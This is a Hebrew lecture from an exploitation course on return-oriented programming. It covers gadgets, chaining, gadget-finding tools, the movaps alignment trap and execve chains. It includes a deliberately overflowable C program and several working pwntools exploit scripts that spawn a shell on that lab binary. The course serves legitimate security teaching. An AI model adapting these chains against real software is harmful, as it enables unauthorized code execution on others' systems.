לדלג לתוכן

4.3 ROP וגאדג'טים הרצאה

בשיעור 2.3 כבר טעמנו את הגאדג'ט הראשון שלנו, pop rdi ; ret, כשרצינו להעביר ארגומנט לפונקציה מנצחת ב-64 ביט. בשיעור 4.2 השתמשנו ברעיון הזה כדי לבנות ret2libc קלאסי וקראנו ל-system מתוך libc. עכשיו נעצור, ניקח נשימה, ונבין את הרעיון הכללי שמאחורי כל זה לעומק. הטכניקה נקראת תכנות מונחה חזרה, והיא הכלי המרכזי לעקיפת NX: במקום להזריק קוד חדש (שממילא לא נוכל להריץ כי המחסנית מסומנת ללא הרצה), אנחנו מרכיבים את התוכנית שלנו מחתיכות קוד שכבר קיימות בבינארי ובספריות. בשיעור הזה נבין מה זה גאדג'ט ברמת הבתים, איך שרשור גאדג'טים בונה כל חישוב שנרצה, איך מוצאים גאדג'טים עם הכלים המקצועיים, ואיך מרכיבים chain שפותחת shell.

תכנות מונחה חזרה - ROP - הרעיון הגדול

מנגנון ה-NX (נקרא גם DEP) מסמן את המחסנית ואת ה-heap כאזורים שאסור להריץ מהם קוד. בעבר תוקף היה כותב shellcode ישר על המחסנית וקופץ אליו, אבל עם NX המעבד פשוט מסרב. הקוד היחיד שכן מותר להריץ הוא הקוד שכבר קיים בבינארי (מקטע .text) ובספריות המשותפות. אז מה עושים? במקום קוד חדש, משתמשים בקוד ישן.

תכנות מונחה חזרה, או בקיצור ROP, הוא הרעיון הבא: נזהה בבינארי רצפים קצרים של הוראות שמסתיימים ב-ret, נקרא לכל רצף כזה "גאדג'ט", ונשרשר אותם יחד באמצעות המחסנית. כל ret שולף כתובת מראש המחסנית וקופץ אליה, ולכן אם נסדר על המחסנית סדרה של כתובות גאדג'טים, כל גאדג'ט "ימסור את השרביט" לגאדג'ט הבא. התוצאה: הרצנו רצף פעולות שבחרנו, בלי לכתוב אפילו בית אחד של קוד חדש.

בואו נחדד את האנלוגיה. בתוכנית רגילה, rip (מצביע ההוראות) קובע איזו הוראה רצה עכשיו, ואחרי כל הוראה הוא מתקדם להוראה הבאה. ב-ROP, המחסנית היא זו שקובעת מה רץ עכשיו: rsp הוא ה"מצביע הוראות" האמיתי, וכל ret הוא ה"מנוע" שמקדם אותו לפריט הבא. הchain שאנחנו כותבים על המחסנית היא למעשה התוכנית שלנו.

מה זה גאדג'ט - gadget

גאדג'ט הוא רצף קצר של הוראות אסמבלי, בדרך כלל הוראה אחת עד שלוש, שמסתיים ב-ret. ה-ret הוא החלק הקריטי: הוא זה שמאפשר לשרשר. דוגמאות קלאסיות:

pop rdi
ret

הגאדג'ט הזה שולף 8 בתים מראש המחסנית לתוך rdi, ואז ה-ret קופץ לכתובת הבאה שעל המחסנית. גאדג'ט אחר:

pop rax
ret

וגאדג'ט קצת יותר מעניין, שכותב לזיכרון:

mov qword ptr [rdi], rax
ret

הנקודה החשובה: גאדג'ט הוא לא פונקציה ולא משהו שהמתכנת המקורי התכוון אליו. הוא סתם קטע קוד שבמקרה מסתיים ב-ret. יתר על כן, בארכיטקטורת x86-64 ההוראות הן באורך משתנה, וזה פותח פתח לגאדג'טים "לא מכוונים" - unintended gadgets. הנה איך זה עובד: נניח שיש בבינארי את רצף הבתים הבא, שהמהדר התכוון שיהיה הוראה מסוימת:

address  bytes                  what the compiler meant
0x4011a0 48 c7 c0 3b 00 00 00   mov rax, 0x3b

אבל אם נקפוץ באמצע, לכתובת 0x4011a2, המעבד יפרש את הבתים c0 3b 00 אחרת לגמרי - אולי כהוראה חוקית שמסתיימת ב-ret. הבית c3 (שהוא הקוד של ret) מופיע בעשרות מקומות אקראיים בתוך הבינארי, וכל אחד מהם הוא סוף פוטנציאלי של גאדג'ט. לכן אפילו בבינארי קטן יש מאות ואלפי גאדג'טים. הכלים שנכיר עוד מעט סורקים את כל הבתים ומגלים את כולם, כולל הלא מכוונים.

שרשור גאדג'טים - איך בונים חישוב

בואו נראה בעיניים איך chain עובדת. נניח שאנחנו שולטים במחסנית (בזכות buffer overflow), ובנינו את המחסנית המזויפת הבאה:

low addresses (top of stack)
+----------------------------+
| address: pop rdi ; ret     |  <-- the ret of the vulnerable function jumps here
+----------------------------+
| 0x1337                     |  <-- popped into rdi
+----------------------------+
| address: pop rsi ; ret     |
+----------------------------+
| 0x0                        |  <-- popped into rsi
+----------------------------+
| address: some_function     |  <-- called with rdi=0x1337, rsi=0
+----------------------------+
high addresses

הזרימה, צעד אחרי צעד:

  1. הפונקציה הvulnerable מבצעת ret. היא שולפת את הכתובת של pop rdi ; ret וקופצת אליה.
  2. הגאדג'ט מבצע pop rdi ושולף את 0x1337 לתוך rdi. עכשיו rsp מצביע על הפריט הבא.
  3. ה-ret של הגאדג'ט שולף את הכתובת של pop rsi ; ret וקופץ אליה.
  4. הגאדג'ט מבצע pop rsi ושולף את 0x0 לתוך rsi.
  5. ה-ret שולף את הכתובת של some_function וקופץ אליה, כשכבר rdi=0x1337 ו-rsi=0.

שימו לב לתובנה המרכזית: כל פעם ש-ret רץ, הוא "צורך" פריט אחד מהמחסנית ומעביר את השליטה קדימה. פריטים שהם כתובות גאדג'טים הם ה"הוראות" שלנו, ופריטים שהם ערכים הם ה"נתונים" ש-pop שולף. אנחנו מתכנתים ישירות על המחסנית.

וזה מוביל לנקודה עמוקה: ROP הוא טיורינג-שלם. עם הסט הנכון של גאדג'טים אפשר לבנות כל חישוב: להכניס ערכים לאוגרים (pop reg), לכתוב לזיכרון (mov [reg], reg), לקרוא מזיכרון, לחבר ולחסר (add, sub), אפילו להסתעף בתנאי. בפועל, לרוב לא נבנה מחשבון שלם - נבנה בדיוק את מה שצריך כדי לקרוא לפונקציה שתיתן לנו shell. אבל חשוב להבין שהכוח שם.

קטלוג הגאדג'טים השימושיים

בשלב הזה כדאי להכיר את סוגי הגאדג'טים שתחפשו שוב ושוב. הטבלה מסכמת את הנפוצים ואת מה שהם נותנים:

הגאדג'ט מה הוא עושה למה צריך אותו
pop rdi ; ret טוען ערך מהמחסנית ל-rdi ארגומנט ראשון לפונקציה ב-64 ביט
pop rsi ; ret טוען ערך ל-rsi ארגומנט שני (לרוב מופיע כ-pop rsi ; pop r15 ; ret)
pop rdx ; ret טוען ערך ל-rdx ארגומנט שלישי (למשל אורך ב-read)
pop rax ; ret טוען ערך ל-rax מספר ה-syscall, או ערך לכתיבה
mov [rdi], rax ; ret כותב את rax לכתובת שב-rdi כתיבה שרירותית לזיכרון - write-what-where
syscall ; ret מבצע קריאת מערכת לקרוא ל-execve ישירות בלי libc
leave ; ret mov rsp, rbp ; pop rbp היפוך מחסנית - stack pivot (פרק 6)
xchg rax, rdi ; ret מחליף בין אוגרים גישור כשאין pop ישיר לאוגר שצריך
ret לא עושה כלום, רק מקדם את rsp ב-8 alignment מחסנית ל-16 בתים

הגאדג'ט האחרון, ret בודד, נראה חסר תועלת אבל הוא כוכב חשוב - נחזור אליו בסעיף הalignment.

העברת ארגומנטים ב-64 ביט - תזכורת ממוקדת

כבר עשינו את זה ב-2.3, אבל נחזק כי זה הלב של הכל. קונבנציית הקריאה של System V ב-64 ביט מעבירה את ששת הארגומנטים הראשונים באוגרים, בסדר הזה:

argument 1 -> rdi
argument 2 -> rsi
argument 3 -> rdx
argument 4 -> rcx
argument 5 -> r8
argument 6 -> r9

כדי לקרוא ל-func(a, b, c) אנחנו צריכים ש-rdi=a, rsi=b, rdx=c ברגע הקפיצה ל-func. אנחנו שולטים במחסנית ולא באוגרים, ולכן משתמשים בגאדג'טים pop rdi ; ret, pop rsi ; ... ; ret, pop rdx ; ret כדי לטעון כל אוגר בתורו. זו בדיוק הסיבה שאנחנו רודפים אחרי גאדג'טים כאלה. ב-32 ביט, לשם ההשוואה, הארגומנטים עוברים על המחסנית ולכן שם כמעט לא צריך גאדג'טים לקריאה בודדת - מספיק לסדר [func] [return address] [arg1] [arg2], כמו שראינו ב-2.3.

מציאת גאדג'טים - הכלים

יש שלושה כלים מרכזיים שתשתמשו בהם. הראשון, ROPgadget, סורק את הבינארי ומדפיס את כל הגאדג'טים:

# all gadgets
ROPgadget --binary rop_demo

# search for a specific gadget
ROPgadget --binary rop_demo | grep 'pop rdi ; ret'
# 0x0000000000401256 : pop rdi ; ret

# filter by instruction types
ROPgadget --binary rop_demo --only 'pop|ret'

# search for a string in the binary (very useful for /bin/sh)
ROPgadget --binary rop_demo --string '/bin/sh'
# 0x00402008 : /bin/sh

# attempt to auto-build an execve chain (works well for static binaries)
ROPgadget --binary rop_demo --ropchain

הכלי השני, ropper, דומה אבל עם חיפוש חכם יותר שמבין תבניות:

# search with exact syntax
ropper --file rop_demo --search "pop rdi; ret"

# pattern with a wildcard - % is "anything"
ropper --file rop_demo --search "pop rdi; %"
ropper --file rop_demo --search "mov [%], %"

# search for a string
ropper --file rop_demo --string "/bin/sh"

בפועל, ROPgadget ו-ropper משלימים זה את זה, ולפעמים גאדג'ט שאחד לא מראה יפה, השני כן. שווה להכיר את שניהם.

הכלי השלישי, והכי נוח בזרימת עבודה אמיתית, הוא אובייקט ה-ROP של pwntools. הוא לא רק מוצא גאדג'טים, הוא בונה את הchain בשבילכם:

from pwn import *

context.binary = elf = ELF('./rop_demo')
rop = ROP(elf)

# find a gadget by description
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
log.info('pop rdi ; ret @ %#x', pop_rdi)

# or simply ask "load this value into a register" and pwntools finds the gadget itself
rop.rdi = 0x1337

# or call a function with arguments
rop.call('puts', [elf.got['puts']])

# print the chain in readable form
print(rop.dump())

# and get the bytes ready to send
payload = rop.chain()

ה-rop.dump() הוא חבר קרוב: הוא מדפיס לכם בדיוק איזה גאדג'ט בכל סלוט ומה הערך שנטען, וזה חוסך שעות של דיבוג.

הבינארי לדוגמה

לאורך השיעור נעבוד עם הבינארי הבא. שימו לב שהוא כולל קריאה ל-system ומחרוזת /bin/sh, כדי שגם ה-system@plt וגם המחרוזת יהיו קיימים בתוך הבינארי בכתובות קבועות:

// rop_demo.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// this call ensures system gets into the PLT and that the string /bin/sh is in the binary.
// it is not called in the normal flow.
void never_called() {
    system("/bin/sh");
}

void vuln() {
    char buf[64];
    puts("send payload:");
    read(0, buf, 256);   // overflow: 256 bytes into a 64-byte buffer
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    return 0;
}

נקמפל אותו ל-64 ביט, בלי canary ובלי PIE, כדי לבודד את טכניקת ה-ROP:

gcc -fno-stack-protector -no-pie -o rop_demo rop_demo.c

ונבדוק את ההגנות:

$ checksec --file=./rop_demo
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

הנחות ההגנה שלנו: NX פעיל (זו הסיבה שאנחנו עושים ROP במקום shellcode), אין canary (הoverflow עוברת חופשי), ואין PIE (כתובות הקוד, ה-PLT והמחרוזת קבועות בכל הרצה). מכיוון שהכל בchain שלנו יגיע מתוך הבינארי, ret2libc על libc אמיתי עם ASLR פעיל הוא סיפור של השיעור הבא (4.4). כאן אנחנו נשארים בתוך הבינארי, ולכן ASLR של המערכת לא מפריע לנו - ה-ASLR מערבב את libc, המחסנית וה-heap, אבל לא את הקוד של בינארי לא-PIE.

בניית chain ל-system מתוך הבינארי - ידני

המטרה: לקרוא ל-system("/bin/sh"). ב-64 ביט זה אומר ש-rdi צריך להצביע על המחרוזת "/bin/sh" ברגע הקפיצה ל-system. שני רכיבים נדרשים:

  • כתובת הגאדג'ט pop rdi ; ret כדי לטעון את המצביע ל-rdi.
  • כתובת המחרוזת "/bin/sh" וכתובת system@plt.

נמצא הכל:

$ ROPgadget --binary rop_demo | grep 'pop rdi ; ret'
0x0000000000401256 : pop rdi ; ret

$ ROPgadget --binary rop_demo --string '/bin/sh'
0x0000000000402008 : /bin/sh

$ objdump -d rop_demo | grep '<system@plt>:'
0000000000401060 <system@plt>:

עכשיו נסדר את הchain. שימו לב לגאדג'ט ret הבודד בהתחלה - הוא לalignment המחסנית, ומיד נסביר למה:

low addresses (top of stack)
+----------------------------+
| padding - 72 bytes         |  <-- fills buf and saved rbp
+----------------------------+
| ret  (alignment to 16 bytes)|  <-- the ret of vuln jumps here
+----------------------------+
| pop rdi ; ret              |
+----------------------------+
| 0x402008  (address of /bin/sh) |  <-- popped into rdi
+----------------------------+
| system@plt (0x401060)      |  <-- called with rdi -> "/bin/sh"
+----------------------------+
high addresses

והקוד:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_demo')

pop_rdi = 0x401256
ret     = 0x40101a          # single ret gadget for alignment
binsh   = 0x402008
system  = elf.plt['system']  # 0x401060

offset = 72
payload = flat({offset: [
    ret,        # aligns the stack to 16 bytes
    pop_rdi,
    binsh,      # rdi = address of "/bin/sh"
    system,     # calls system("/bin/sh")
]})

p = process('./rop_demo')
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()

מריצים, ומקבלים shell. שימו לב שלא צריך לחשב כתובות libc, לא צריך לדלוף כלום, ואין תלות ב-ASLR - הכל בכתובות קבועות בתוך הבינארי.

אותו דבר עם אובייקט ROP - הדרך המקצועית

בפועל לא כותבים כתובות גאדג'ט ביד. נותנים ל-ROP לחפש הכל. שימו לב כמה זה נקי:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_demo')

binsh = next(elf.search(b'/bin/sh\x00'))   # finds the string in the binary

rop = ROP(elf)
rop.raw(rop.find_gadget(['ret'])[0])       # aligns the stack to 16 bytes
rop.call('system', [binsh])                # pwntools finds pop rdi on its own
log.info('\n' + rop.dump())

offset = 72
payload = flat({offset: rop.chain()})

p = process('./rop_demo')
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()

הפונקציה elf.search(b'/bin/sh\x00') סורקת את כל מקטעי הבינארי ומחזירה את הכתובת של המחרוזת. ה-rop.call('system', [binsh]) אומר ל-pwntools "קרא ל-system עם הארגומנט הזה", והוא כבר מוצא את pop rdi ; ret, סודר את הערכים, ומוסיף את הקריאה. ה-rop.dump() יראה לכם בדיוק מה נבנה:

0x0000:         0x40101a ret
0x0008:         0x401256 pop rdi ; ret
0x0010:         0x402008 [arg0] rdi = 4202504
0x0018:         0x401060 system

מלכודת הalignment - movaps ותיקון עם ret נוסף

זו המלכודת שמפילה כמעט את כולם, וכבר פגשנו אותה ב-2.3, אבל היא כל כך נפוצה שכדאי לחזק. אתם בונים chain מושלמת, rdi מצביע נכון על "/bin/sh", קופצים ל-system, והתוכנית קורסת עם SIGSEGV עמוק בתוך libc, בלי סיבה נראית לעין.

הסיבה: ה-ABI של System V מחייב שברגע ביצוע הוראת call, מצביע המחסנית rsp יהיה aligned ל-16 בתים, כלומר rsp % 16 == 0. פונקציות libc מותאמות כמו system (דרך do_system) משתמשות בהוראות SSE כמו movaps שדורשות כתובת aligned ל-16. אנחנו לא מגיעים ל-system דרך call אלא דרך chain של ret, וכל ret מזיז את rsp ב-8 בתים. לעיתים קרובות אנחנו נופלים על rsp % 16 == 8 במקום 0, וזה מספיק כדי לפוצץ את ה-movaps.

הקריסה ב-gdb נראית כך, ומיד מזהים אותה:

Program received signal SIGSEGV
=> 0x7ffff7e4a3b1 <do_system+915>: movaps XMMWORD PTR [rsp+0x50], xmm0

ברגע שאתם רואים movaps בכתובת של libc בזמן שקראתם ל-system, זה הalignment, אין ספק. התיקון אלגנטי: מוסיפים גאדג'ט ret בודד לפני הקריאה שמפוצצת. גאדג'ט ה-ret לא עושה כלום מלבד לשלוף 8 בתים ולקפוץ הלאה, כלומר הוא מזיז את rsp ב-8 בתים בדיוק, והופך rsp % 16 == 8 ל-rsp % 16 == 0. זה בדיוק ה-ret שראיתם בראש כל chain בשיעור הזה. כלל אצבע: אם ב-64 ביט קריאה ל-system או ל-printf קורסת ב-movaps, תוסיפו גאדג'ט ret בודד לפני הקריאה ונסו שוב. אם עדיין קורס, אולי יש לכם ret מיותר - תורידו אחד.

מעבר לחישוב שרירותי - כתיבה לזיכרון וsyscall

עד כאן קראנו לפונקציה קיימת. אבל אמרנו ש-ROP הוא טיורינג-שלם, אז בואו נראה איך בונים משהו יותר גולמי: קריאה ישירה ל-execve("/bin/sh", 0, 0) דרך syscall, בלי להסתמך על system בכלל. זה שימושי במיוחד בבינארי סטטי, שבו יש גאדג'ט syscall וגאדג'ט pop rax, אבל אין system.

קריאת המערכת execve דורשת: rax=59 (מספר ה-syscall), rdi מצביע על "/bin/sh", rsi=0, rdx=0, ואז הוראת syscall. אם המחרוזת "/bin/sh" כבר קיימת בבינארי, הchain פשוטה:

rop = ROP(elf)
rop.rax = 59                    # execve syscall number
rop.rdi = binsh                 # pointer to "/bin/sh"
rop.rsi = 0
rop.rdx = 0
rop.raw(rop.find_gadget(['syscall', 'ret'])[0])

אבל מה אם אין בבינארי את המחרוזת "/bin/sh" בכלל? כאן נכנס ה-write-what-where. נשתמש בגאדג'ט כתיבה כדי לשתול את המחרוזת באזור זיכרון שאנחנו יודעים את כתובתו וגם ניתן לכתיבה, למשל .bss (בבינארי לא-PIE הכתובת קבועה). התהליך:

1. pop rax ; ret     ->  rax = u64("/bin/sh\0")   the value of the 8 bytes
2. pop rdi ; ret     ->  rdi = address in .bss
3. mov [rdi], rax ; ret  ->  writes "/bin/sh\0" to .bss
4. now .bss holds the string, and we continue as before to execve

ובקוד, כשמניחים שמצאנו את הגאדג'טים ואת כתובת ה-.bss:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./rop_demo')

pop_rdi     = 0x401256
pop_rax     = 0x4011c0          # example - find it in your binary
pop_rsi     = 0x401258
pop_rdx     = 0x4011c3
mov_rdi_rax = 0x401180          # mov [rdi], rax ; ret
syscall_ret = 0x4011f0
bss         = elf.bss(0x100)    # free address in .bss

offset = 72
payload = flat({offset: [
    # 1. write "/bin/sh\0" to .bss
    pop_rax, u64(b'/bin/sh\x00'),
    pop_rdi, bss,
    mov_rdi_rax,
    # 2. prepare execve's arguments
    pop_rdi, bss,               # rdi -> "/bin/sh"
    pop_rsi, 0,                 # rsi = 0
    pop_rdx, 0,                 # rdx = 0
    pop_rax, 59,                # rax = execve
    # 3. jump to the syscall
    syscall_ret,
]})

p = process('./rop_demo')
p.recvuntil(b'payload:')
p.sendline(payload)
p.interactive()

זו ההדגמה החיה של "חישוב שרירותי": לקחנו נתון (מחרוזת), כתבנו אותו לזיכרון בעזרת גאדג'ט כתיבה, טענו אוגרים בעזרת גאדג'טים של pop, וקראנו לשירות מערכת. אף בית קוד חדש לא הורץ. בפועל, בבינארי דינמי קטן לרוב אין pop rax ו-syscall נוחים, ולכן נעדיף system או גאדג'טים מתוך libc (השיעורים הבאים). אבל התבנית הזו היא הבסיס לכל ROP מתקדם, ותראו אותה שוב ב-ret2csu וב-SROP בפרק 6.

מלכודות נפוצות וטיפים

  • ראשית, בדקו תמיד את ה-offset מחדש עם cyclic לכל בינארי. גודל הbuffer וpadding הalignment של המהדר משנים אותו.
  • שיטת הקלט קובעת אילו בתים מותרים. הפונקציה read קוראת בתים גולמיים כולל \x00, אז כתובות עם בתים אפסיים בסדר. לעומת זאת gets ו-scanf("%s") עוצרים ב-null וברווח, ואז כתובת כמו 0x401256 (שמכילה בתים אפסיים עליונים ב-64 ביט) עלולה להיחתך.
  • כשמשהו קורס, הריצו תחת gdb עם gdb.attach(p) או gdb ./rop_demo ואז run < payload.bin, ותסתכלו על מצב האוגרים ב-ret. השתמשו ב-rop.dump() כדי לוודא שהchain נבנתה כמו שחשבתם.
  • אם חסר לכם גאדג'ט לאוגר מסוים, חפשו דרך עקיפה: pop rcx ; ret פלוס mov rdx, rcx ; ret, או השתמשו ב-ret2csu (פרק 6) שנותן שליטה ב-rdi, rsi, rdx דרך גאדג'ט אוניברסלי שקיים כמעט בכל בינארי מקומפל עם gcc.
  • זכרו את הalignment: כמעט תמיד כשקריאה ל-system/printf קורסת בתוך libc, זו בעיית ה-movaps. גאדג'ט ret אחד פותר.

סיכום

  • תכנות מונחה חזרה (ROP) עוקף NX על ידי שרשור קטעי קוד קיימים במקום הזרקת קוד חדש.
  • גאדג'ט הוא רצף קצר של הוראות שמסתיים ב-ret. בזכות ההוראות באורך משתנה ב-x86-64, יש גם גאדג'טים לא מכוונים, ולכן אפילו בבינארי קטן יש אלפי גאדג'טים.
  • הROP chain היא "תוכנית" שכתובה על המחסנית: rsp הוא מצביע ההוראות, וכל ret מקדם אותו לפריט הבא. עם הסט הנכון של גאדג'טים אפשר לבנות כל חישוב.
  • ב-64 ביט טוענים ארגומנטים לאוגרים עם גאדג'טים כמו pop rdi ; ret, pop rsi ; ret, pop rdx ; ret.
  • מוצאים גאדג'טים עם ROPgadget, ropper, ואובייקט ה-ROP של pwntools שגם בונה את הchain ומדפיס אותה עם rop.dump().
  • הchain ל-system("/bin/sh") בתוך בינארי לא-PIE היא [ret לalignment] [pop rdi] [כתובת /bin/sh] [system@plt], והכל בכתובות קבועות.
  • מלכודת ה-movaps: קריאה לפונקציית libc כבדה קורסת אם rsp לא aligned ל-16 בתים. גאדג'ט ret בודד לפני הקריאה פותר.
  • לחישוב שרירותי אמיתי משתמשים בגאדג'טים של כתיבה (mov [rdi], rax) ובגאדג'ט syscall כדי לקרוא ל-execve ישירות.